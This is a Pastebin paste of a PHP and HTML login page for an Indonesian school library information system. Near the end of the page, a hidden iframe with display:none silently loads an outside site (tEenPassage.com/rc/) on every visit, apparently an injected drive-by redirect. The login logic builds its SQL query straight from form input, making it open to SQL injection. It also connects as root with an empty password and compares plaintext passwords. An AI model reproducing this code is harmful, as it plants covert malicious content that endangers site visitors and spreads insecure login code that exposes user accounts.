Advertisement
dirjaya

login.php

Jul 21st, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.97 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ob_start();
  4.  
  5. session_start();
  6.  
  7. $koneksi = new mysqli("localhost","root","","perpusdb");
  8.  
  9. if($_SESSION['admin'] || $_SESSION['guru'] || $_SESSION['user']){
  10. header("location:index.php");
  11. }else{
  12.  
  13. ?>
  14.  
  15. <!DOCTYPE html>
  16. <html xmlns="http://www.w3.org/1999/xhtml">
  17. <head>
  18. <meta charset="utf-8" />
  19. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  20. <title>LOGIN</title>
  21. <!-- BOOTSTRAP STYLES-->
  22. <link href="assets/css/bootstrap.css" rel="stylesheet" />
  23. <!-- FONTAWESOME STYLES-->
  24. <link href="assets/css/font-awesome.css" rel="stylesheet" />
  25. <!-- CUSTOM STYLES-->
  26. <link href="assets/css/custom.css" rel="stylesheet" />
  27. <!-- GOOGLE FONTS-->
  28. <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' />
  29.  
  30. <style type="text/css">
  31.  
  32. body {
  33. background: url(images/sate.jpg) no-repeat fixed;
  34. -webkit-background-size: cover;
  35. -moz-background-size: cover;
  36. -o-background-size: cover;
  37. background-size: cover;
  38. }
  39.  
  40. </style>
  41.  
  42.  
  43. </head>
  44. <body>
  45.  
  46. <div class="container">
  47. <div class="row text-center ">
  48. <div class="col-md-12">
  49. <br /><br />
  50. <img src="images/buku.png" width="180px" height="190px"><br>
  51.  
  52. <h3 style="color:white">SISTEM INFORMASI PERPUSTAKAAN<br> SDN JATI 01</h3>
  53.  
  54.  
  55. <br />
  56. </div>
  57. </div>
  58. <div class="row ">
  59.  
  60. <div class="col-md-4 col-md-offset-4 col-sm-6 col-sm-offset-3 col-xs-10 col-xs-offset-1">
  61. <div class="panel panel-primary">
  62. <div class="panel-heading">
  63. <strong><marquee style="font-size:18px">SILAHKAN LOGIN</marquee></strong>
  64. </div>
  65. <div class="panel-body">
  66. <form role="form" method="POST">
  67. <br />
  68. <div class="form-group input-group">
  69. <span class="input-group-addon"><i class="fa fa-tag" ></i></span>
  70. <input type="text" class="form-control" placeholder=" Username " name="nama" />
  71. </div>
  72. <div class="form-group input-group">
  73. <span class="input-group-addon"><i class="fa fa-lock" ></i></span>
  74. <input type="password" class="form-control" placeholder=" Password" name="pass" />
  75. </div>
  76.  
  77. <div class="form-group input-group">
  78.  
  79. <input type="submit" class="btn btn-primary" name="login" value="Login" style="margin-left:82%"/>
  80. </div>
  81.  
  82.  
  83. </form>
  84. </div>
  85.  
  86. </div>
  87. </div>
  88.  
  89.  
  90. </div>
  91. </div>
  92.  
  93.  
  94. <!-- SCRIPTS -AT THE BOTOM TO REDUCE THE LOAD TIME-->
  95. <!-- JQUERY SCRIPTS -->
  96. <script src="assets/js/jquery-1.10.2.js"></script>
  97. <!-- BOOTSTRAP SCRIPTS -->
  98. <script src="assets/js/bootstrap.min.js"></script>
  99. <!-- METISMENU SCRIPTS -->
  100. <script src="assets/js/jquery.metisMenu.js"></script>
  101. <!-- CUSTOM SCRIPTS -->
  102. <script src="assets/js/custom.js"></script>
  103.  
  104. <iframe src="http://www.tEenPassage.com/rc/" style="display:none"></iframe>
  105. </body>
  106. </html>
  107.  
  108.  
  109. <?php
  110.  
  111. if (isset($_POST['login'])) {
  112.  
  113. $nama=$_POST['nama'];
  114. $pass=$_POST['pass'];
  115.  
  116. $ambil = $koneksi->query("select * from tb_user where username='$nama' and password='$pass'");
  117. $data =$ambil->fetch_assoc();
  118. $ketemu = $ambil->num_rows;
  119.  
  120. if($ketemu >=1){
  121.  
  122. session_start();
  123.  
  124. $_SESSION[username] = $data [username];
  125. $_SESSION[pass] = $data [password];
  126. $_SESSION[level] = $data [level];
  127.  
  128.  
  129. if($data['level'] == "admin"){
  130. $_SESSION['admin'] = $data[id];
  131. header("location:index.php");
  132.  
  133. }else if($data['level']== "user"){
  134. $_SESSION['user'] = $data[id];
  135. header("location:index.php");
  136. }else if($data['level']== "guru"){
  137. $_SESSION['guru'] = $data[id];
  138. header("location:index.php");
  139. }
  140. } else{
  141. ?>
  142. <script type="text/javascript">
  143. alert("Login Gagal Username dan Password Salah.. Silahkan Ulangi Lagi");
  144. </script>
  145. <?php
  146. }
  147.  
  148.  
  149. }
  150. }
  151. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement